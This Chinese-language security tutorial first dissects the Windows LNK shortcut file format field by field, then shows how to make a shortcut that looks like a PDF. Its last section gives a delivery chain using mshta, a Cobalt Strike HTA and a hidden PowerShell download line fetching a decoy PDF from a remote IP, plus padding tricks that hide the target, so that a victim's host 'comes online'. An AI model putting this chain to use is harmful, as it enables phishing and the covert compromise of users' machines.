0x01 LNK文件格式解析
文件前20字节固定不变:
-
HeaderSize(4 bytes,
offset 0x00
):0x0000004C -
LinkCLSID(16 bytes,
offset 0x04
):00021401-0000-0000-C000-000000000046
0x01.1 LinkFlags
由offset 0x14
起始4字节为LinkFlags(下图来自微软官方文档):
由图片2可以看到,该文件LinkFlags为0x000802DB(Bin:0000 0000 0000 1000 0000 0010 1101 1011),这表示以下Flag被设置:
- HasLinkTargetIDList
- HasLinkInfo
- HasRelativePath
- HasWorkingDir
- HasIconLocation
- IsUnicode
- HasExpIcon
- DisableLinkPathTracking
上述Flag会在下文解释,故此处先不做展开。
0x01.2 FileAttributes
由offset 0x18
起始4字节为FileAttributes, 0x00000020表示FILE_ATTRIBUTE_ARCHIVE
。
0x01.3 CreateTime & AccessTime & WriteTime
由offset 0x1C
开始,每个字段各占8字节:
0x01.4 FileSize
由图4可以看到,FileSize为0x000E0400(占4个字节)。
0x01.5 IconIndex
IconIndex为0x00000001(占4个字节)。
0x01.6 ShowCommand & Hotkey
由offset 0x3C
开始,ShowCommand占4字节,0x00000001表示SW_SHOWNORMAL;Hotkey占2字节;余下10个字节均为保留位。
0x01.7 LinkTargetIDList
由于LinkFlags中HasLinkTargetIDList
设为1,故文件包含LinkTargetIDList结构。LinkTargetIDList构成如下:
而IDList由ItemID构成,以2字节全为0的TerminalID作为结束:
下面来看示例文件中的LinkTargetIDList:
上图红色部分为IDListSize,绿色部分为TerminalID,中间蓝色部分则为IDList。下面来看IDList,第一个ItemID如下:
- ItemIDSize(2 bytes, offset 0x004E):0x0014
- Data(12 bytes, offset 0x0050):根据微软官方文档给出的信息,其含义为computer
第二个ItemID:
- ItemIDSize(2 bytes, offset 0x0062):0x0019
- Data(23 bytes, offset 0x0064):其含义为c:
第三个ItemID:
不再赘述,其含义为Windows。
第四个ItemID:
其含义为System32。
第五个ItemID:
0x01.8 LinkInfo
由于LinkFlags中HasLinkInfo
设为1,故文件包含LinkInfo结构。LinkInfo构成如下:
下面来看下示例文件中的LinkInfo:
- LinkInfoSize(4 bytes, offset 0x017B):0x00000053
- LinkInfoHeaderSize(4 bytes, offset 0x017F):LinkInfo结构定义中指定该字段为0x0000001C
- LinkInfoFlags(4 bytes, offset 0x0183):0x00000001,表示VolumeIDAndLocalBasePath标志位设为1
- VolumeIDOffset(4 bytes, offset 0x0187):0x0000001C,自
offset 0x017B
处VolumeID偏移大小 - LocalBasePathOffset(4 bytes, offset 0x018B): 0x00000035,自
offset 0x017B
处LocalBasePath偏移大小 - CommonNetworkRelativeLinkOffset(4 bytes, offset 0x018F):0x00000000,CommonNetworkRelativeLink不存在
- CommonPathSuffixOffset(4 bytes, offset 0x0193):0x00000052,自
offset 0x017B
处CommonPathSuffix偏移大小 - VolumeID(25 bytes, offset 0x0197):由于VolumeIDAndLocalBasePath设置为1,故包含VolumeID结构如下:
- VolumeIDSize(4 bytes, offset 0x0197):0x00000019
- DriveType(4 bytes, offset 0x019B):DRIVE_FIXED(3)
- DriveSerialNumber(4 bytes, offset 0x019F)
- VolumeLabelOffset(4 bytes, offset 0x01A3):0x00000010,自
offset 0x0197
处VolumeLabel偏移大小 - Data(9 bytes, offset 0x01A7):Windows7
- LocalBasePath(29 bytes, offset 0x01B0):由于VolumeIDAndLocalBasePath设置为1,故包含LocalBasePath——"C:\Windows\System32\calc.exe"。该字段为指向链接目标的完整路径。
- CommonPathSuffix(1 byte, offset 0x01CD):空字符
0x01.9 String Data
每个String Data结构如下:
由于LinkFlags中HasRelativePath
设为1,故文件包含RELATIVE_PATH字符串:
红色部分是CountCharacters(Unicode字符串长度,故应该为0x22*2=0x44),蓝色部分则为String。
之后是WORKING_DIR字符串:
ICON_LOCATION字符串:
0x01.10 EnvironmentVariableDataBlock
由于LinkFlags中HasExpString
设为1,故文件包含EnvironmentVariableDataBlock:
- BlockSize(4 bytes):该字段值必须为0x0314
- BlockSignature (4 bytes):该字段值必须为0xA0000001
- TargetAnsi (260 bytes):指定环境变量路径(ANSI字符串),详见下图。
- TargetUnicode(520 bytes):指定环境变量路径(UNICODE字符串),详见下图。
0x01.11 EXTRA_DATA
由零个或多个下列数据块与TERMINAL_BLOCK组成:
示例文件中的EXTRA_DATA包含SpecialFolderDataBlock:
- BlockSize(4 bytes): 0x00000010
- BlockSignature(4 bytes): 0xA000005,标识SpecialFolderDataBlock
- SpecialFolderID (4 bytes):0x00000025,指定Folder ID
- Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五个ItemID
KnownFolderDataBlock:
- BlockSize(4 bytes): 0x0000001C
- BlockSignature(4 bytes): 0xA00000B,标识KnownFolderDataBlock
- KnownFolderID(16 bytes):GUID
- Offset(4 bytes):0x000000D5,偏移大小,指向IDList中第五个ItemID
PropertyStoreDataBlock:
- BlockSize(4 bytes): 0x000001F4
- BlockSignature(4 bytes): 0xA000009,标识PropertyStoreDataBlock
-
PropertryStore(492 bytes)
TrackerDataBlock:
- BlockSize(4 bytes): 0x00000060
- BlockSignature(4 bytes): 0xA000003,标识TrackerDataBlock
- Length(4 bytes):0x00000058,该数据块最小长度
- Version(4 bytes):0x00000000
- MachineID(16 bytes)
- Droid(32 bytes):2 GUID
- DroidBirth(32 byte):2 GUID
0x02 构造迷惑性LNK文件
我们首先生成一个正常的LNK文件:
之后更改其图标为%SystemRoot%\System32\SHELL32.dll中任意一个:
0x02.1 修改图标
用010 Editor打开该LNK文件,找到String Data部分ICON_LOCATION字符串:
我们要将其修改为.\1.pdf
(Unicode),其长度0x07:
其效果如下所示(左边机器打开PDF文件的默认程序是XODO PDF Reader,中间是Adobe Reader,右边是谷歌浏览器):
0x02.2 修改目标
原始目标如下所示:
现在我们修改EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode:
将其修改为%windir%\system32
目录不存在的一个EXE文件名。
效果展示:
但这时双击该文件会报错:
所以我们需要再修改LinkTargetIDList中第五个ItemID:
如此一来,打开该文件便会弹出计算器:
0x03 扩展
首先新建一指向%windir%\System32\mshta.exe
的快捷方式(文件名尽量带有迷惑性),并更改其图标为%SystemRoot%\System32\SHELL32.dll中任意一个:
之后更改其参数为HTA下载地址:
注:笔者是使用Cobalt Strike生成HTA文件:
于其执行payload前增加如下 语句:
Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'\LNK文件格式解析(修改版).pdf');Start-Process $env:temp'\LNK文件格式解析(修改版).pdf'", 0, true
这样一来,在受害者打开LNK文件后会从远程下载一正常PDF文档并打开。
接下来按照0x02部分所述方法修改即可,此处加一个Tip——在其WORKING_DIR字符串前面添加大量空格字符,使其目标长度超过260个字符:
使用copy \B
命令将其与正常PDF文档捆绑,使其文件大小看起来更具有说服力:
之后双击该LNK文件,主机便会上线,而受害者会看到一正常的PDF文档:
效果展示:
-
-
-
-
-
-
-
-
-
-
-
-
-